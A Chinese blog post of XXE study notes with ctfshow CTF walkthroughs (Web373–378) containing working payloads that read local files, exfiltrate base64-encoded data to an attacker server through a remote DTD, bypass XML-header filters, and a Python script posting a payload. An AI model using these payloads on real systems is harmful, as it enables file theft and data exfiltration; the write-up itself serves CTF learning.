【CTF-Web】XXE学习笔记(附ctfshow例题)

XXE

文章目录

  • XXE
    • [0x01 前置知识汇总](#0x01 前置知识汇总)
      • XML
      • [DTD (Document Type Definition)](#DTD (Document Type Definition))
    • [0x02 XXE](#0x02 XXE)
    • [0x03 XXE危害](#0x03 XXE危害)
    • [0x04 攻击方式](#0x04 攻击方式)

0x01 前置知识汇总

XML

可扩展标记语言(eXtensible Markup Language)

区分XML和HTML:

XML用于传输和存储数据,聚焦与数据的内容

HTML用于显示数据,聚焦于数据的外观

XML用途:

  1. 数据分离

​ 将HTML中的数据分离,当动态修改数据时可以将独立存储在XML文件中的数据读取调用,避免对HTML进行任何改变,只需要利用JavaScript代码读取外部XML文件

XML语法:

  1. 树形结构 必须具有根元素
xml 复制代码
<root>
  <child>
    <subchild>.....</subchild>
  </child>
</root>

举例:

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note> 
  1. 声明 : <?xml version="1.0" encoding="utf-8"?>
  2. 标签中大小写敏感
  3. 属性值必须加引号
  4. 实体引用

一些字符拥有特殊含义 所以使用实体引用代替特殊字符

xml 复制代码
<message>if salary < 1000 then</message>
<!--上面的<是特殊字符 在解析器中会把他当做新元素的开始 修改如下-->
<message>if salary &lt; 1000 then</message>

DTD (Document Type Definition)

作用:

在XML文档中加入DTD声明可以告诉XML解析器该文档遵循哪个DTD文档类型,对文档进行验证,以确保文档正确性。

xml-dtd 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rootElement SYSTEM "example.dtd">
<rootElement>
  <childElement>Hello World!</childElement>
</rootElement>

限制:

<!ELEMENT:

0x02 XXE

什么是XXE :构造恶意DTD 主要是利用实体引用

实体引用介绍:

一、通用实体

  1. 内部实体(无SYSTEM 不需要引用外部文件)
xml-dtd 复制代码
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
        <!ELEMENT foo ANY >  <!--定义元素为any 说明接收任何元素 -->
<!ENTITY xxe "test" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

在user标签里面 使用&进行引用 解析输出的时候就会被test替换

  1. 外部实体(带有SYSTEM 需要请求外部文件)
xml-dtd 复制代码
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

相当于在dtd文档中创建了外部实体xxe 该实体的作用是读取本地文件

当解析xml文档的时候会遇到&xxe 会自动执行读取文件的操作

上面的SYSTEM 引用的方法还可以使用公用DTD的方法操作

<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">


二、参数实体

定义:% 实体名

引用:%实体名;

特点:类似上面通用实体 支持外部引用

举例:

xml-dtd 复制代码
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

0x03 XXE危害

  • file://xxx读取文件
  • SSRF攻击
  • 盲注 信息数据泄露
  • 结合文件上传 getshell

0x04 攻击方式

1. 通过File协议读取文件

题目原始post的数据

xml-dtd 复制代码
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

我们通过抓包后修改post传输代码

xml-dtd 复制代码
<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
<comment>
<text>&test;</text>
</comment>

解析时实现对指定文件的读取

上例题:

Web373(有回显)

前置语言基础:

xml 复制代码
libxml_disable_entity_loader(false); 

将xml引用外部实体禁用 但是不知道对这个题目有什么影响

php 复制代码
$xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){   
 $dom = new DOMDocument();   
 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);   
 $creds = simplexml_import_dom($dom);   
 $ctfshow = $creds->ctfshow;  
 echo $ctfshow;
} 

创建DOMDocument对象 加载XML文件

在XML文件中在提取ctfshow 标签内的内容 进行echo显示

解题:

首先存在php://input 读取我们抓包发送的内容

那么我们就可以写一个xml文件

然后在ctfshow标签中引用外部实体 读取flag文件

payload:

xml-dtd 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<happy>
<ctfshow>&cmd;</ctfshow>
</happy>
xml-dtd 复制代码
#test.dtd
<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://154.8.183.198:10086/%file;'> ">
%dtd;
%xxe;
Web374(无回显)

首先我们来关注一下源码 看看这道题和上一道题有什么区别

php 复制代码
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
} 

仍然存在XML文档的加载,但是555 没有echo回显了,那么题目服务器的内容我们看不到

怎么做!

上我们自己的服务器~ 将内容带出

分为两个部分:一个是直接让我们的题目服务器解析的xml文档语句,一个是我们存放在我们自己的vps上的外部dtd文档,然后在题目服务器xml解析时对我们的vps发起请求,然后在vps中将获得的内容传输到端口监听中

  1. 使用php://filter 获取目标文件内容,然后将内容以http请求的方式发送到我们的vps上
xml-dtd 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!-- 格式约束-->
<!DOCTYPE updateProfile [
        <!--使用伪协议读取题目服务器中的文件-->
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> 
        <!--写在我们服务器的dtd文件-->
    <!ENTITY % dtds SYSTEM "http://154.8.183.198/test/test.dtd">
        <!--解析dtd的时候把外部的dtd文件放过来-->
    %dtds;
]>
        
<!--补全形式-->      
<root>
1
</root>
  1. 放在我们服务器上的内容
xml-dtd 复制代码
<!ENTITY % dtd "<!ENTITY &#x25; showflag SYSTEM 'http://ip:port/%file;'>">
<!--evil.dtd的内容,内部的%号要进行实体编码成&#x25;  相当于% showflag-->
%dtd;
%showflag;

梳理一下整个执行过程:

首先在1中会解析%dtds 去调用2的内容

然后2的内容展示在面板上之后会触发2中%dtd的解析 将2中内层嵌套的语句加载到面板上

然后解析%showflag 去加载SYSTEM的语句,访问我们的vps,同时携带file获得的数据,其中%file获得已经在面板中1里面的请求。

注意!一定要注意 POST传输的数据里面一定不要和vps中的文件里面定义的变量重名。比如vps中设置的是dtd我们POST传输的时候需要dtds或者其他任意的。


避坑:

  1. 自己服务器的端口一定要放通!!!要不然根本无法请求

然后在bp中POST传入我们的payload

在自己的服务器开启监听nc -lnvp 10086 就可以获得flag啦!

Web375

继续与上题进行类比我们可以发现增加的是对xml头的整个语句的正则匹配

注意这里的正则匹配是针对整个语句的匹配,只要这里面有地方改变就会绕过这种正则匹配

<\?xml version="1\.0" 注意这里的\表示特殊符号的转义

所以说整体的匹配语句就是<?xml version="1.0"的限制

绕过方法一:

直接不写了,传一下试试

xml-dtd 复制代码
<!-- 要引用(dtd里面),所以要加百分号% -->
<!-- /flag 改成 /etc/passwd 可能会失败,因为内容太多了 -->
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % dtds SYSTEM "http://xxx/test/test.dtd">

    %dtds;
]> 
<!-- 不能直接<!ENTITY  % myurl SYSTEM "http://vps-ip:port/%file"> ,因为默认不允许把本地文件发送到远程dtd里面,需要绕一圈,绕过这个限制-->
<!-- %myurl;会读取远程dtd文件,读到了以后,因为远程dtd文件有一个实体的定义(% dtd),那么就会解析这个实体定义。(% dtd)实体的定义内容是另外一个实体定义(&#x25; vps),那就会解析(&#x25; vps),就会执行远程请求,请求地址(http://vps-ip:port/%file),会在我们的vps日志上留下痕迹。
也可以起nc监听端口,能判断是否有向我们的vps发送请求以及请求内容。起nc的话% myurl的值,不要加端口,就vps-ip够了。
总结就是,%myurl 这种引用会自动向地址发送请求。 -->

<root>
1
</root>

绕过方法二:

添加空格

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!-- 上面是限制的语句-->
<?xml  version="1.0" encoding="UTF-8"?>
<!-- 我们多添加一个空格就和整个句子不同了-->

绕过方法三:

引号替换绕过

xml-dtd 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!-- 上面是限制的语句-->
<?xml  version='1.0' encoding="UTF-8"?>
<!-- 我们双引号换成单引号就和整个句子不同了-->

Web376

关注和上一题的区别:

php 复制代码
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile))

在结尾出多了一个/i 表示整个匹配不区分大小写

和上题的payload相同

此外还想补充一下:注意前面我们说到的

看到这个题目我本来想上一题是不是还可以大小写绕过 于是我退回去重做,发现大小写绕过根本走不通!

Web377

同样先看与上一题的区别

php 复制代码
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile))

增添了对http的限制

在xml文档的编码中,不仅仅支持utf-8编码 同时也支持utf-16编码,所以我们可以将payload转为utf-16编码然后post传送数据

python 复制代码
import requests

url = "http://c5cd315f-3854-4073-b5dc-42c8d51f32e4.challenge.ctf.show/"
payload = '''
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % dtds SYSTEM "http://154.8.183.198/test/test.dtd">

    %dtds;
]> 

<root>
1
</root>'''
payload = payload.encode('utf-8')
print(payload)
re = requests.post(url, data=payload)
print(re.text)
#b'\xff\xfe\n\x00<\x00!\x00D\x00O\x00C\x00T\x00Y\x00P\x00E\x00 \x00h\x00a\x00c\x00k\x00e\x00r\x00[\x00\n\x00 \x00 \x00 \x00 \x00<\x00!\x00E\x00N\x00T\x00I\x00T\x00Y\x00 \x00 \x00%\x00 \x00f\x00i\x00l\x00e\x00 \x00S\x00Y\x00S\x00T\x00E\x00M\x00 \x00"\x00p\x00h\x00p\x00:\x00/\x00/\x00f\x00i\x00l\x00t\x00e\x00r\x00/\x00r\x00e\x00a\x00d\x00=\x00c\x00o\x00n\x00v\x00e\x00r\x00t\x00.\x00b\x00a\x00s\x00e\x006\x004\x00-\x00e\x00n\x00c\x00o\x00d\x00e\x00/\x00r\x00e\x00s\x00o\x00u\x00r\x00c\x00e\x00=\x00/\x00f\x00l\x00a\x00g\x00"\x00>\x00\n\x00 \x00 \x00 \x00 \x00<\x00!\x00E\x00N\x00T\x00I\x00T\x00Y\x00 \x00 \x00%\x00 \x00d\x00t\x00d\x00s\x00 \x00S\x00Y\x00S\x00T\x00E\x00M\x00 \x00"\x00h\x00t\x00t\x00p\x00:\x00/\x00/\x001\x005\x004\x00.\x008\x00.\x001\x008\x003\x00.\x001\x009\x008\x00/\x00t\x00e\x00s\x00t\x00/\x00t\x00e\x00s\x00t\x00.\x00d\x00t\x00d\x00"\x00>\x00\n\x00\n\x00 \x00 \x00 \x00 \x00%\x00d\x00t\x00d\x00s\x00;\x00\n\x00]\x00>\x00 \x00\n\x00\n\x00<\x00r\x00o\x00o\x00t\x00>\x00\n\x001\x00\n\x00<\x00/\x00r\x00o\x00o\x00t\x00>\x00'

我们发现编码后http彻底绕过

在nc中成功获得flag

Web378

打开后是一个登录界面,ctrl+u 查看一下源码,

一眼发现了post穿xml的内容

所以首先我们定义一个变量,用于读取flag文件

然后在输入框中引用外部实体

xml-dtd 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<user><username>&cmd;</username><password>&cmd;</password></user>
相关推荐
张开心_kx几秒前
面试官又问我是否了解React的单向数据流
前端·javascript·react.js
落笔画忧愁e1 分钟前
数据通信学习笔记之OSPF的区域
笔记·学习·智能路由器
残轩3 分钟前
Win10 家庭版 Docker 环境搭建详解(基于 WSL2)
前端·后端·docker
palpitation974 分钟前
Flutter分解布局选择辅助方法还是Widget?
前端
工呈士5 分钟前
HTML响应式网页设计与跨平台适配
前端·html
作曲家种太阳6 分钟前
第六章节 响应式的 computed 实现【手摸手带你实现一个vue3】
前端
Dovis(誓平步青云)7 分钟前
Cephalon端脑云:神经形态计算+边缘AI·重定义云端算力
图像处理·人工智能·学习·云原生·ai作画·边缘计算·机器翻译
腊月廿二8 分钟前
跨项目频繁切换node版本号(nvm-windows)
前端
策码9 分钟前
MutationObserver监听网页二次渲染和子节点变化
前端·javascript
前端大白话10 分钟前
前端必知!HTML中`<a>`标签target属性全攻略:新窗口、当前窗口、指定框架一网打尽
前端·架构·html